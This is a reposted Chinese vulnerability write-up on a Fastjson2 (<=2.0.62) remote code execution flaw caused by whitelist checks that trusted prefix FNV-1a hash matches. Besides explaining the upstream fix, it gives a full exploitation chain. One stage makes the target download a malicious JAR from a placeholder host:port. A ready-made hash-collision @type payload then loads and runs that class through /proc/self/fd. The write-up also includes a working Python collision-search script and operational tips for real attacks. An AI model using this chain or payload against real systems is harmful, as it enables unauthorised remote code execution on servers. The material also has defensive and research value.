Fastjson2RCE漏洞利用细节分析

admin 2026-08-11 04:55:35 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文深入分析Fastjson2小于等于2.0.62版本RCE漏洞。漏洞源于checkAutoType仅凭FNV-1a前缀哈希匹配放行类加载而未校验真实字符串,致攻击者可借此碰撞绕过白名单。利用分两步:先缓存恶意JAR获取文件描述符,再构造碰撞@type触发加载器从fd路径执行恶意类。建议立即升级,实战需用唯一类名规避JVM缓存。 综合评分: 96 文章分类: 漏洞分析,WEB安全,漏洞POC,实战经验,代码审计


cover_image

Fastjson2 RCE漏洞利用细节分析

原创

hyyrent hyyrent

0xSecurity

2026年7月28日 12:52 广东

在小说阅读器读本章

去阅读

影响版本

Fastjson <= 2.0.62

升级修复方案

官方已更新修复补丁,参考链接:

https://github.com/alibaba/fastjson2/pull/7695/changes

先看 GitHub:官方实际上在修什么?

截至 2026 年 7 月 28 日

  • GitHub Issue #7702 已经明确在讨论 fastjson2 的这类安全修复问题
  • 该 Issue 里直接提到了 /pull/7695/changes

围绕 “autoType 类型名校验 + whitelist 验证增强” 这个方向补洞。

1)不再只信哈希,要补真实字符串校验

这一步是最关键的。

原来的危险点在于:

  • 哈希一命中
  • 就继续往下走

而修补思路就是:

  • 哈希命中后
  • 还要再核对当前类型名文本本身
  • 不能只靠 hash 相等就当成白名单命中

2)开始拒绝带 :! 这类明显不像类名的输入

  • jar:file:/...
  • /proc/self/fd/...!...
  • URL / 协议型字符串

ObjectReaderProvider.checkAutoType 修复前的核心问题

修复前,这段逻辑的危险点不在于“用了哈希”,而在于:

它用“前缀哈希命中”来决定是否加载“完整 typeName”。

伪代码如下:

long hash = MAGIC_HASH_CODE;
for (int i = 0; i < typeNameLength; i++) {
&nbsp; &nbsp; char ch = typeName.charAt(i);
&nbsp; &nbsp; hash ^= ch;
&nbsp; &nbsp; hash *= MAGIC_PRIME; &nbsp; // 增量 FNV-1a(typeName[0..i])

&nbsp; &nbsp; if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
&nbsp; &nbsp; &nbsp; &nbsp; clazz = loadClass(typeName); &nbsp; // 直接加载完整 typeName
&nbsp; &nbsp; }
}

这里有一个非常关键的语义错位:

  • acceptHashCodes 匹配的是 某个前缀的哈希
  • loadClass() 加载的却是 完整的 typeName

也就是说,程序实际做的是:

只要 typeName 的某个前缀哈希看起来像白名单,就去加载整个 typeName

问题在于,哈希命中只说明:哈希值相等

并不说明:字符串本身相等

而修复前,这里并没有补上“前缀文本是否真的等于白名单类名”的校验。


为什么这会被碰撞利用

FNV-1a 是非密码学哈希,攻击者可以为一个可控前缀追加若干自由字符,构造出一个 chosen-prefix collision,让某个前缀哈希误命中白名单值,这意味着攻击者不需要伪造真实白名单类名,只需要让:

hash(typeName[0..i]) == acceptHashCode

成立即可。

一旦命中,程序就会直接:

loadClass(typeName)

注意,这里加载的是完整 typeName,不是那个命中的前缀。


为什么风险会升级成类加载问题

如果命中后只是“接受这个前缀”,问题还不会这么严重。真正危险的是,命中之后它直接拿整个输入字符串去 loadClass()

因此,攻击者真正控制的目标不是“命中的那个前缀”,而是:

完整 typeName 的解释结果。

修复前如果 :/! 这类字符没有被拦截,那么 typeName 就不一定是普通 Java 类名,还可能长成:

  • jar:http://...
  • /proc/self/fd/...!...
  • 其他可被上下文类加载器特殊解释的形式

这样一来,整个问题就从“白名单判断缺陷”升级成了可利用的类加载入口

第一阶段:缓存恶意 JAR

先发一个普通 JSON:

[{"jarUrl":"http://host:port/probe/xxx.jar"}]

目标会:

  • 下载 JAR
  • 打开文件
  • 找到对应 fd
  • 删除临时文件

第二阶段:用碰撞 @type 从 fd 里加载类

再发:

[{"@type":"a\u00ad\u004b\u00d3\u005b\u0076\u002c\u00ff\u00a5","fd":12}]

然后链子就接上了:

  1. 默认 JSON.parse(body) 继续解析
  2. @type 命中碰撞
  3. 程序误以为进入 accept 分支
  4. 上下文类加载器被调用
  5. 从 /proc/self/fd/12 对应的 JAR 里取 class
  6. 加载并执行 payload

如果 payload 构造函数里先执行命令、再主动抛异常,就会看到这种标记:

parseError=java.lang.RuntimeException:flag{fastjson2_http_fd_reproduction}

实战payload改成唯一类名

实战过程中,如果每次 payload 都命名:

poc.Payload

那么 JVM 很可能在第一次加载后就把它记住了。后面你即使换了新 JAR、新命令,只要类名不变,目标进程也可能继续复用旧类。

所以更稳的做法是:

每次 payload 都生成唯一类名。

比如:

poc.X0296
poc.X4621
poc.X8306

这样可以避免被 JVM 已加载类缓存干扰。

FNV碰撞脚本

#!/usr/bin/env python3

MAGIC=0xCBF29CE484222325
PRIME=0x100000001B3
MASK=&nbsp;(1<<64)&nbsp;-1
PRIME_INV=14886173955864302971&nbsp;&nbsp;# modular inverse of PRIME mod 2^64

DEFAULT_TARGET=-6293031534589903644&nbsp;&nbsp;# fastjson2 default accept hash target

deffwd(h,&nbsp;ch):
&nbsp; &nbsp;&nbsp;return&nbsp;((h^&nbsp;(ch&0xFFFF))&nbsp;*PRIME)&nbsp;&MASK

defback(h,&nbsp;ch):
&nbsp; &nbsp;&nbsp;return&nbsp;((h*PRIME_INV)&nbsp;&MASK)&nbsp;^&nbsp;(ch&0xFFFF)

deffnv_hash(s:&nbsp;str)&nbsp;->int:
&nbsp; &nbsp;&nbsp;h=MAGIC
&nbsp; &nbsp;&nbsp;forchins:
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;ifch=='$':
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;ch='.'
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;h=fwd(h,&nbsp;ord(ch))
&nbsp; &nbsp;&nbsp;returnh

defto_signed(x):
&nbsp; &nbsp;&nbsp;returnxifx<&nbsp;(1<<63)&nbsp;elsex-&nbsp;(1<<64)

defprintable_json(prefix,&nbsp;suffix_bytes):
&nbsp; &nbsp;&nbsp;returnprefix+''.join(f'\\u{b:04x}'forbinsuffix_bytes)

deffind_collision(prefix:&nbsp;str,&nbsp;target:&nbsp;int=DEFAULT_TARGET):
&nbsp; &nbsp;&nbsp;target_u=target&MASK
&nbsp; &nbsp;&nbsp;h0=fnv_hash(prefix)

&nbsp; &nbsp;&nbsp;forprependinrange(1,&nbsp;256):
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;hp=fwd(h0,&nbsp;prepend)

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# forward 3-byte table
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;table=&nbsp;{}
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;forc1inrange(1,&nbsp;256):
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;h1=fwd(hp,&nbsp;c1)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;forc2inrange(1,&nbsp;256):
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;h2=fwd(h1,&nbsp;c2)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;forc3inrange(1,&nbsp;256):
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;h3=fwd(h2,&nbsp;c3)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;table[h3]&nbsp;=&nbsp;(c1,&nbsp;c2,&nbsp;c3)

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# backward 4-byte search
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;forc7inrange(1,&nbsp;256):
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;h6=back(target_u,&nbsp;c7)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;forc6inrange(1,&nbsp;256):
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;h5=back(h6,&nbsp;c6)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;forc5inrange(1,&nbsp;256):
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;h4=back(h5,&nbsp;c5)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;forc4inrange(1,&nbsp;256):
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;h3=back(h4,&nbsp;c4)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;ifh3intable:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;c1,&nbsp;c2,&nbsp;c3=table[h3]
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;result=&nbsp;[prepend,&nbsp;c1,&nbsp;c2,&nbsp;c3,&nbsp;c4,&nbsp;c5,&nbsp;c6,&nbsp;c7]

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# verify
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;h=h0
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;forbinresult:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;h=fwd(h,&nbsp;b)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;ifh==target_u:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;returnresult
&nbsp; &nbsp;&nbsp;returnNone

if__name__=="__main__":
&nbsp; &nbsp;&nbsp;prefix="a"
&nbsp; &nbsp;&nbsp;result=find_collision(prefix,&nbsp;DEFAULT_TARGET)
&nbsp; &nbsp;&nbsp;ifnotresult:
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print("not found")
&nbsp; &nbsp;&nbsp;else:
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print("bytes:",&nbsp;result)
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print("type_json:",&nbsp;printable_json(prefix,&nbsp;result))

最终打进去的碰撞串

碰撞理想情况下耗时1小时,这个不唯一也可以用其他碰撞出的值

a\u00ad\u004b\u00d3\u005b\u0076\u002c\u00ff\u00a5

参考链接

https://github.com/alibaba/fastjson2/pull/7695/changes


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:0xSecurity hyyrent hyyrent《Fastjson2 RCE漏洞利用细节分析》

评论:0   参与:  0